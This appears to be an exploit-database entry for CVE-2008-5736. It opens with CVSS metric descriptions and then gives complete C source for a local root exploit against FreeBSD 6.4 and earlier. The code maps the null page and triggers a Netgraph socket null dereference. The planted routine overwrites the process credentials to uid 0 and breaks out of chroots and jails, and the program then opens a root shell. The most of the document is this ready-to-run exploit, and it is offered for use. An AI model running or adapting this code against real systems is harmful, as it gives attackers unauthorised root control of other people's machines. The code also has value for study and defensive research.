The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
/*
* FreeBSD <= 6.4-RELEASE Netgraph Exploit
* by zx2c4
*
*
* This is an exploit for CVE-2008-5736, the FreeBSD protosw
* and loosely based on Don Bailey's 2008 exploit -
* http://www.exploit-db.com/exploits/7581/ . The thing with
* Don's exploit is that it relies on having a known location
* of allproc, which means having access to the kernel or
* debugging symbols, either of which might not be available.
* Initial attempts included a general memory search for some
* characteristics of allproc, but this was difficult to make
* reliable. This solution here is a much more standard - get
* the current thread, change its permissions, and execl to
* shell. Additionally, it breaks out of chroots and freebsd
* jails by reparenting to pid 1 and copying its fds.
*
* This reliably works on kernels on or below 6.4-RELEASE:
*
* $ gcc a.c
* $ ./a.out
* ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
* ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
* ~~~~~ greetz to don bailey, edemveiss ~~~~~
*
* [+] mmapping null page
* [+] adding jmp to pwnage in null page
* [+] opening netgraph socket
* [+] triggering null dereference
* [+] elevating permissions
* [+] got root!
* #
*
* It's an oldie, but simple enough that someone needed
* to write another PoC exploit at some point.
*
* cheers,
* zx2c4, 27-2-2011
*
*/
#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/filedesc.h>
#include <sys/queue.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#define PAGES 1
volatile int got_root = 0;
int root(void)
{
struct thread *thread;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_critnest = 0;
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;
struct proc *parent = thread->td_proc;
while (parent->p_pptr && parent->p_pid != 1)
parent = parent->p_pptr;
thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
thread->td_proc->p_pptr = parent;
got_root = 1;
return 0;
}
int main(int argc, char *argv[])
{
printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");
printf("[+] mmapping null page\n");
if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("[-] mmap failed");
return -1;
}
printf("[+] adding jmp to pwnage in null page\n");
*(char*)0x0 = 0x90;
*(char*)0x1 = 0xe9;
*(unsigned long*)0x2 = (unsigned long)&root;
printf("[+] opening netgraph socket\n");
int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if (s < 0) {
perror("[-] failed to open netgraph socket");
return -1;
}
printf("[+] triggering null dereference\n");
shutdown(s, SHUT_RDWR);
if (!got_root) {
printf("[-] failed to trigger pwnage\n");
return -1;
}
printf("[+] elevating permissions\n");
setuid(0);
setgid(0);
if (getuid() != 0) {
printf("[-] failed to get root\n");
return -1;
}
printf("[+] got root!\n");
execl("/bin/sh", "sh", NULL);
return 0;
}
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